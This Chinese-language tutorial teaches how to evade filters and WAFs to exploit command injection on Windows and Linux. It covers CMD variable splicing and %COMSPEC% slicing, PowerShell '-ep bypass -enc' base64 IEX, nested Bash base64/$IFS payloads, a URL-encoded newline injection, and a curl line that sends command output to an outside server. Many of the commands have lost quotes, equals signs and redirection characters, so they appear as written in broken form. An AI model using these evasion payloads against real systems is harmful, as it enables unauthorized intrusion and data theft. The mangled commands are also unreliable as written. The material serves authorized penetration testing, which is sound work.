Windows下如何绕过空格与分隔符限制Windows应用层的输入过滤经常只针对空格。CMD处理空格时有个很有意思的特性一个被双引号包裹的空字符串放在命令和参数之间不会被当作参数而是被CMD直接吞掉相当于一个分隔符。whoami-a如果你要执行两条命令且分号、都被过滤Windows还提供一个额外的选择|管道符在CMD中既能把前一个命令的输出传给后一个命令也可以被当作语句分隔符尽管它的副作用是输出没有直接显示。在实际测试中ping 127.0.0.1 | whoami在CMD下会执行whoami但输出可能不会像预期一样直接回显。遇到这种情况可以改把命令写到临时文件再用type读取。Windows下URL编码的空格替代符号是%20但在CMD里Tab也管用还有一个小技巧是使用%TAB%环境变量——有些Shell环境里%TAB%被预先定义成了Tab字符。输入whoami%TAB%-a就能在不需要实际Tab字符的情况下消解分隔问题。还有许多人忽略的是Windows文件名中的.号特性。CMD解析whoami.时会先尝试执行whoami如果没找到带点的文件名再退到不带点的命令解析路径。这就能用whoami.绕过针对命令后无字符的匹配逻辑。同理还有.\whoami、.\whoami.exe都能通过路径前缀掩盖真实命令名。4.3 Windows关键字绕过大小写、变量拼接与PowerShell编码Windows命令大小写不敏感所以大小写变体不是一个绕过维度而是一个“再简单不过”的执行确认。真正有价值的手段是变量拼接。CMD使用百分号%做环境变量引用比如%a%是变量a的值。一个经典思路是set awho set bami call %a%%b%这个call是关键。直接执行%a%%b%时CMD会把它当成一个变量名去查找大概率查不到而call会让CMD在运行时重新扫描这一行并执行解析出来的whoami。如果你不想触发set关键字检测也可以利用%ComSpec%这类系统自带的环境变量做字符截取但这就涉及更底层的字符操作了稳定性差一些。PowerShell的绕过空间大得多。最简单实用的是使用反引号转义whoami反引号在PowerShell里表示转义下一个字符所以执行时PowerShell会先去掉引号再执行whoami。这种方法构造的字符串不包含完整的whoami字样对静态正则几乎是隐形的。另一个稳定的手法是单引号字符串拼接whoamiPowerShell会把相邻的单引号字符串拼接成一个字符串再求值如果写成 whoami还能以调用操作符执行。iex配合编码则更“暴力”powershell -ep bypass -enc SQBFAFgAKAAiAHcAaABvAGEAbQBpACIAKQ这个base64字符串解码后是IEX(whoami)-ep bypass绕过了本地执行策略限制。服务端过滤黑名单基本不可能把这个编码后的字符串识别出来。注意这里IEX本身就是Invoke-Expression的别名连关键字都不需要出现在明文中。4.4 利用系统特性环境变量截取与短路径执行Windows环境变量的值是可以切片提取的这给构造任意命令提供了素材。原理是CMD支持%VAR:~start,len%语法。经典案例是用%COMSPEC%通常是C:\WINDOWS\system32\cmd.exe提取出cmd字符重新组合成别的命令。举一个非常经典的构造过程想执行whoami可以先用%COMSPEC:~0,1%取到盘符c再用%COMSPEC:~10,1%等位置取到其他字符把字符拼成w、h、o对应的路径片段。这种方式构造的payload几乎可以绕开任何内容特征过滤唯一的缺点是脚本太长、调试成本高。实际渗透中我很少从头拼完整命令更多是拼几个核心字母再配合字符串连接符使用。短路径8.3格式则利用了Windows老式文件命名规则。在cmd /c dir /x输出长文件名时每条记录旁边会显示类似WHOA~1.EXE的短名。某些命令执行场景下短路径可以规避针对长路径的过滤规则。不过这个技巧在较新的Windows 10/11上已经越来越不可靠因为系统默认关闭了8.3短名生成特别是C:这类系统盘所以它也更多作为备选方案存在。5. 过滤对抗从理论到实战企业环境下的绕过整合5.1 黑盒视角先侦察后决策不要盲目堆payload进到一个授权测试项目里面对一个带参数的系统我不会一上来就扔一堆payload。先做静态判断源码是哪个框架写的、参数位置有没有引号包裹、返回包里有没有执行报错信息。比如PHP的system()函数执行错误会直接在页面上回显“sh: whoami: command not found”这就意味着命令解析已发生但找不到对应命令。然后做动态探测用无害参数验证分隔符是否生效比如127.0.0.1;echo ZYTEST 127.0.0.1echo ZYTEST 127.0.0.1|echo ZYTEST哪个回显了ZYTEST说明哪个分隔符可用。这一步的核心价值是把“理论存在”变为“环境确认”避免在不可用的payload上浪费精力。很多初学者犯的错恰恰是先一口气把所有payload都发一遍触发了大量日志告警却连哪个生效都分不清。5.2 编码与嵌套多层混淆的组合拳WAF用的正则一般由安全厂商维护它们会同时匹配eval、system、、$、whoami、cmd等大量特征但很少会把所有编码层都展开检查。因此真实环境最高效的绕过方式是嵌套编码先把命令做一次Base64再把整个payload做一次URL编码甚至把关键字用变量替换后塞进函数参数里。举例说明目标是执行whoami你可以这样设计流程先对whoami做Base64编码得到d2hvYW1p用Bash解码执行echo d2hvYW1p | base64 -d | bash再把整条命令拼接到空格绕过中127.0.0.1$(echo d2hvYW1p|base64$IFS-d|bash)。此时静态流量里出现的关键字只有base64和bash如果这两个也被拦则继续用变量拼接bbas;ae64;echo d2hvYW1p|$a$b -d|bash。最终payload已经很难被特征库精确识别了。PowerShell同理可以在-enc基础上再叠加变量展开。$env:comspec指向cmd的绝对路径但你不能直接写$env:comspec可以先赋值$z$env:comspec再用$z调用cmd。注意PowerShell的变量名也是大小写不敏感的$Z和$z完全相同多余的大小写替换并不会增加什么拦截复杂度。5.3 免杀与混淆的现实边界有些坑踩过一次就长记性我在一个授权的内网渗透项目里遇到过非常典型的情况目标系统把$_GET[ip]拼接进ping命令过滤逻辑是用正则删除了;、、|以及所有白名单之外的字符。刚开始我用Tab替换空格无效因为代码把\t也替换掉了用${IFS}无效因为代码把$和{}都替换了。最后是通过URL编码跨越了检查——参数值到达PHP时是%31%32%37%2E%30%2E%30%2E%31%0Awhoami而代码在处理时没有先解码过滤正则面对的是编码文本完全不知道里面有换行符。最终换行符和whoami被拼接进了命令。这个案例给我们的启发是过滤顺序和编码顺序的错位是最容易出漏洞的地方。但也要泼一盆冷水绕过不是万能的。如果目标代码用了白名单正则只允许IP字符那无论怎么编码都打不穿如果命令执行函数前面强制加了类型校验或者把参数放在单引号内空间也极其有限。做测试时必须接受“这个点打不动”的现实不要在一个参数上死磕到底换个入口往往效率更高。6. 常见问题与排查技巧实录6.1 为什么payload看起来没问题却不回显这是频率最高的疑问。多数情况是命令执行了但输出没被返回。例如代码用system()以外的函数执行命令时不一定回显输出。PHP的exec()只返回最后一行shell_exec()返回完整输出但需要echo。如果代码里直接静默执行你自然看不到结果。排查手段是靠延时判断或者DNS外带。延时可以用sleep 5Linux或ping -n 5 127.0.0.1Windows让响应时间变长证明命令被执行了一旦确认执行再想办法把结果写到可访问路径curl http://your-server/?data$(whoami)或whoami /var/www/html/x.txt。我在测试环境的做法是在可控的服务器上起一个HTTP监听用带外通道接收命令结果。6.2 过滤了空格也过滤了分隔符还能怎么办如果空格和所有常见分隔符都被过滤基本等于把注入点围死了但不绝对。还有一种思路是利用命令替换的嵌套位置。假设程序执行的是system(perl -e print $input)那么$input里包含$(whoami)时Bash先展开命令替换再把结果作为perl的参数。这时候空格过滤是拦不住$()的因为命令替换里允许包含空格而不需要在外部出现分隔符。在Web环境中可以尝试把注入点移动到$()内部让外部不再需要空格和分号。如果连$()都被过滤就得考虑换协议边界了。比如PHP场景下直接改HTTP头、Cookie、文件上传文件名等位置让它们作为二次注入的入口。6.3 排查技巧速查表症状可能原因排查方向分隔符无效开发框架提前转义改用URL编码分层验证命令执行但无输出函数被静默调用用延时或DNS外带确认黑名单删除了关键字代码级过滤用拼接、引号、编码绕过WAF拦截经典payload特征匹配嵌套编码变量拆分白名单正则校验无输入绕过空间换其他参数或请求头尝试6.4 测量工具与调试建议本地调试时最好的伙伴是BurpSuite和浏览器的开发者工具。Burp的Repeater功能可以快速修改参数、观察响应如果目标使用HTTPS记得装好证书否则抓不到明文。Linux下调试命令时多用set -x查看实际展开后的命令内容bash -x -c echo d2hvYW1p | base64 -d | bash这会逐行打印Shell到底执行了什么很多混淆技巧能不能用一跑便知。Windows下调试CMD可以用cmd /v:on /c开启延迟变量展开看看变量切片是否按预期工作。PowerShell调试则可以在命令前加Trace-Command或者在VS Code里逐步执行。7. 一些个人经验与结语无总结说回文章开头那个处处碰壁的场景。我自己的体会是把“能用payload打进去”和“能绕过过滤打进去”分开来训练后者才真正体现对操作系统的理解深度。所以我平时做练习时故意给自己加限制——禁用分号、禁用空格、禁用cat强迫自己用不同的方式达成同一个目标。Bash和PowerShell本身就是极其灵活的解释器它们提供的解析特性就是对过滤规则最大的威胁。你在本地把这些特性吃透了遇到真实环境才不至于当场翻书。最后分享一个小技巧。当你构造特别长的payload时优先使用短编码串和尽量少的换层。实践下来三层编码URL→Base64→变量拼接基本是收益最高且稳定的组合再多叠一层往往只是让调试变得更痛苦。测试时记得先小后大——先用无害命令确认哪个解析路径通再放真正的核心载荷。如果页面没有任何变化也别灰心把流量记录下来在本地用同一个命令解析器复现一遍多半能发现是自己哪一步的语法写错了。
